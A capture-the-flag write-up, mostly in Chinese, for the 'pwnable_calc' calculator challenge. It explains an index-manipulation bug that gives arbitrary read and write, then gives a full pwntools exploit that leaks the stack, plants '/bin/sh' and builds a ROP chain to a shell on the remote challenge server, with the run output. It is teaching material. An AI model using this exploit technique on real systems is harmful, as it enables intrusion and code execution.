WriteUp: SECPROG calculator

0x0 Checksec

1
2
3
4
5
6
7
╰─$ checksec calc
[*] 'pwnable_calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

注意: Stack: Canary found. 直接stack overflow会破坏Canary, 需要泄露Canary,并在stack overflow时,将Canary修复在正确的位置

0x1 Reverse Enginnering

经过分析,程序至少存在两处漏洞:

  • a. 当开头为运算符号时,会修改pool[0]的值,该值作为运算时pool数组的下标使用,通过修改该值,获得任意地址读和任意地址写的漏洞。e.g. +111111
  • b. 当运算符号为’±’、’*/%'两组交替时,会让运算符数组不断曾长,超过100时,产生栈溢出。e.g. payload = b'1*2+'*100+b'1'

0x2 Analyze

由于运算符中的值只能是+-*/%(实际上除最后一个字符外只有±),那么很难实现运算符溢出的利用。

因此,我们使用+1111形式的payload,通过任意读任意写,将栈溢出脚本写入到栈中。

应注意pythonctypes的使用,进行int32的转换。

0x3 Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!python3
from pwn import *
from pwnlib.util import misc
import os

import ctypes

elf = context.binary = ELF("bin")
libc = elf.libc

context.clear(arch='i386', os='linux',kernel='amd64')
context.terminal = ["tmux", "split", "-h"]
# context.log_level = 'debug'


gs = '''
continue
'''
def start():
if args.GDB:
p = process(elf.path)
cmd = ["gdb", "-p", str(p.pid)]
cmd = context.terminal + cmd
cmd = ' '.join(cmd)
os.system(cmd)
time.sleep(1)
return p
elif args.REMOTE:
return remote('node4.buuoj.cn', 28496)
else:
return process(elf.path)


def leak(payload):
io.sendline(payload)
ctn = io.recvline()
result = int(ctn[:-1], 10) & 0xffffffff
return ctypes.c_int32(result).value

def write(addr_offset, value):
## 1. addr_offset 地址中的值
payload_lk = f"+{addr_offset}".encode()
old_value = leak(payload_lk)

## 2. 将新值写入
# value = ctypes.c_int32(value).value
payload = f"+{addr_offset}" #pool[0] = addr_offset, pool[1] = addr_offset
# 使用+, - 实现最终pool[addr_offset]中的值为value, 因此计算addr_offset和value的差值
if old_value == value:
return
elif old_value < value:
payload += f"+{value - old_value}"
else:
payload += f"-{old_value - value}"

io.sendline(payload.encode())
ctn = io.recvline()

now_value = leak(payload_lk)
if now_value != value:
print(f"write failed: {addr_offset} {value} {now_value}")
exit(1)

#--------- Process Interactive ---------------------

io = start()
io.timeout = 3000 #for debugging

payload = b"1+1"
io.recvuntil(b'\n') #=== Welcome to SECPROG calculator ===

""" calc stack
-000005A0 pool dd 101 dup(?) -----------|----------------------|
-0000040C expr db 1024 dup(?) 1 357*size_of(int) |
-0000000C cannary dd ? 2 -----------| |
... (0x5a0 + 4) = 0x5a4 = 361*size_of(int)
+00000000 s db 4 dup(?) 360 |
+00000004 r db 4 dup(?) 361 ----------------------------------|
"""

ebp_value = leak(b"+360")
log.info(f"ebp_value: {hex(ebp_value & 0xffffffff)}")

#write /bin/sh to locatoin just above ebp
#0x6e69622f 0x68732f /bin/sh; /bin/sh's location would be ebp_value - 0x28 (get the offset by gdb debugging)
write(358, 0x6e69622f)
write(359, 0x68732f)
binsh = ebp_value & 0xffffffff - 0x28

rop = ROP(elf)
int80 = rop.find_gadget(['int 0x80'])
rop.raw(rop.eax)
rop.raw(0xb)
# rop.raw(rop.ebx)
# rop.raw(binsh)
rop.raw(rop.ecx)
rop.raw(0)
rop.raw(binsh)
rop.raw(rop.edx)
rop.raw(0)
rop.raw(int80)

rop_bs = rop.chain()
print(rop_bs)
print(rop.dump())

offset = 361
for i in range(0, len(rop_bs), 4):
ai32 = u32(rop_bs[i:i+4])
ai32 = ctypes.c_int32(ai32).value
write(offset, ai32)
offset += 1


io.sendline()
# =============================================================================
# io.interactive()
## got shell
time.sleep(3)
io.sendline(b"cat flag")
flag = io.recvline()
log.info(f"flag: {flag}")
io.close()

0x4 Output Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
╰─$ python exp.py REMOTE
[*] 'pwnable_calc/bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 28496: Done
[*] ebp_value: 0xffd17cf8
[*] Loaded 91 cached gadgets for 'bin'
b'K\xc3\x05\x08\x0b\x00\x00\x00\xd1\x01\x07\x08\x00\x00\x00\x00\xd0|\xd1\xff\xaa\x01\x07\x08\x00\x00\x00\x00!\x9a\x04\x08'
0x0000: 0x805c34b pop eax; ret
0x0004: 0xb
0x0008: 0x80701d1 pop ecx; pop ebx; ret
0x000c: 0x0
0x0010: 0xffd17cd0
0x0014: 0x80701aa pop edx; ret
0x0018: 0x0
0x001c: 0x8049a21 int 0x80
[*] flag: b'flag{3ec****4-73f2-4c1e-8623-be****20ba24}\n'
[*] Closed connection to node4.buuoj.cn port 28496

0x5 The Challenge

https://buuoj.cn/challenges#pwnable_calc